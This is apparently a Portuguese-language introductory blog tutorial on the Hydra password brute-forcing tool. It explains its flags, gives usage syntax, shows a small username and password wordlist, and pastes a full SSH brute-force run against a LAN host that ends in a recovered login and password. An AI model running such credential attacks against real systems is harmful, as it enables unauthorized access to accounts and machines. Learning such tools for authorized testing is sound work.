Basicamente o Hydra descobre senha através de Brute Force (tentativa e erro), ele busca em wordlists possíveis usuários/senhas e vai testando as combinações, uma a uma. O Hydra tem suporte aos serviços Telnet, Formulário HTTP/HTTPS, SSH, MySQL, PostgreSQL, MSSQL, SMB, LDAP2 e LDAP3, FTP, SNMP, CVS,VNC, entre outros.
Conhecendo um pouco do Hydra
- -R Restaura sessões abordadas/quebradas.
- -S Conexão segura usando SSL caso seja necessário.
- -s Especifica qual porta o hydra vai estabelecer a conexão.
# hydra –l username –p password –t threads IP protocol # hydra -L lista -P lista -t threads IP protocol
- -l nome/login da vitima.
- -L Carrega uma lista contendo nomes/logins de vitimas. (1 por linha)
- -p Especifica senha única.
- -P Carrega uma lista com senhas.(1 por linha)
- -e ns adcional ‘n’ testa senha em branco || adicional ‘s’ testa user como pass.
- -C Usado para carregar um arquivo contendo usuário:senha. formato usuário:senha
- equivale a -L/-P.
- -M Carrega lista de servidores alvos.(1 por linha)
- -o Salva as senhas encontradas dentro do arquivo que você especificar.
- -f Faz o programa parar de trabalhar quando a senha||usuário for encontrada[o].
- -t Limita o numero de solicitações por vez.(default: 16)
- -w Define o tempo máximo em segundos para esperar resposta do serv.(default: 30s)
- -v / -V Modo verbose do programa. ‘V’ mostra todas tentativas.
sempreupdate
hugo
diogo
danilo
paula
rosi
1234
mudar1234
P@ssw0rd
coracao
teste
teste123
root
root123
tux123
123tux
Hydra v6.5 (c) 2011 by van Hauser / THC and David Maciejak – use allowed only for legal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2012-09-03 15:17:16
WARNING: Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abort…
[DATA] 16 tasks, 1 servers, 256 login tries (l:16/p:16), ~16 tries per task
[DATA] attacking service ssh on port 22
Warning: Timeout from child 0, restarting
Warning: Timeout from child 1, restarting
Warning: Timeout from child 2, restarting
Warning: Timeout from child 3, restarting
Warning: Timeout from child 4, restarting
Warning: Timeout from child 5, restarting
Warning: Timeout from child 6, restarting
Warning: Timeout from child 7, restarting
Warning: Timeout from child 8, restarting
Warning: Timeout from child 9, restarting
Warning: Timeout from child 10, restarting
Warning: Timeout from child 11, restarting
Warning: Timeout from child 12, restarting
Warning: Timeout from child 13, restarting
Warning: Timeout from child 14, restarting
Warning: Timeout from child 15, restarting
Warning: Timeout from child 0, restarting
Warning: Timeout from child 1, restarting
Warning: Timeout from child 2, restarting
Warning: Timeout from child 3, restarting
Warning: Timeout from child 4, restarting
Warning: Timeout from child 5, restarting
Warning: Timeout from child 6, restarting
Warning: Timeout from child 7, restarting
Warning: Timeout from child 8, restarting
Warning: Timeout from child 9, restarting
Warning: Timeout from child 10, restarting
Warning: Timeout from child 11, restarting
Warning: Timeout from child 12, restarting
Warning: Timeout from child 13, restarting
Warning: Timeout from child 14, restarting
Warning: Timeout from child 15, restarting
Warning: Timeout from child 0, restarting
Warning: Timeout from child 1, restarting
Warning: Timeout from child 2, restarting
Warning: Timeout from child 3, restarting
Warning: Timeout from child 4, restarting
Warning: Timeout from child 5, restarting
Warning: Timeout from child 6, restarting
Warning: Timeout from child 7, restarting
Warning: Timeout from child 8, restarting
Warning: Timeout from child 9, restarting
Warning: Timeout from child 10, restarting
Warning: Timeout from child 11, restarting
Warning: Timeout from child 12, restarting
Warning: Timeout from child 13, restarting
Warning: Timeout from child 14, restarting
Warning: Timeout from child 15, restarting
[22][ssh] host: 192.168.0.101 login: sempreupdate password: tux123 //AQUI ESTÁ!
Warning: Timeout from child 0, restarting
Warning: Timeout from child 1, restarting
Warning: Timeout from child 2, restarting
Warning: Timeout from child 3, restarting
Warning: Timeout from child 4, restarting
Warning: Timeout from child 5, restarting
Warning: Timeout from child 6, restarting
Warning: Timeout from child 7, restarting
Warning: Timeout from child 8, restarting
Warning: Timeout from child 9, restarting
Warning: Timeout from child 10, restarting
Warning: Timeout from child 11, restarting
Warning: Timeout from child 12, restarting
Warning: Timeout from child 13, restarting
Warning: Timeout from child 14, restarting
Warning: Timeout from child 15, restarting
Warning: Timeout from child 0, restarting
Warning: Timeout from child 1, restarting
Warning: Timeout from child 2, restarting
Warning: Timeout from child 3, restarting
Warning: Timeout from child 4, restarting
Warning: Timeout from child 5, restarting
Warning: Timeout from child 6, restarting
Warning: Timeout from child 7, restarting
Warning: Timeout from child 8, restarting
Warning: Timeout from child 9, restarting
Warning: Timeout from child 10, restarting
Warning: Timeout from child 11, restarting
Warning: Timeout from child 12, restarting
Warning: Timeout from child 13, restarting
Warning: Timeout from child 14, restarting
Warning: Timeout from child 15, restarting
Warning: Timeout from child 0, restarting
Warning: Timeout from child 1, restarting
Warning: Timeout from child 2, restarting
Warning: Timeout from child 3, restarting
Warning: Timeout from child 4, restarting
Warning: Timeout from child 5, restarting
Warning: Timeout from child 6, restarting
Warning: Timeout from child 7, restarting
Warning: Timeout from child 8, restarting
Warning: Timeout from child 9, restarting
Warning: Timeout from child 10, restarting
Warning: Timeout from child 11, restarting
Warning: Timeout from child 12, restarting
Warning: Timeout from child 13, restarting
Warning: Timeout from child 14, restarting
Warning: Timeout from child 15, restarting
Repare que ele testa várias combinações e retorna “Timeout” quando não consegue fechar a autenticação. Porém quando consegue ele retorna :
[porta][protocolo] host: IP login: “login correto” password: “senha correta” [22] [ssh] host: 192.168.0.101 login: sempreupdate password: tux123
Bom, essa foi apenas um introdução. Um abraço a todos.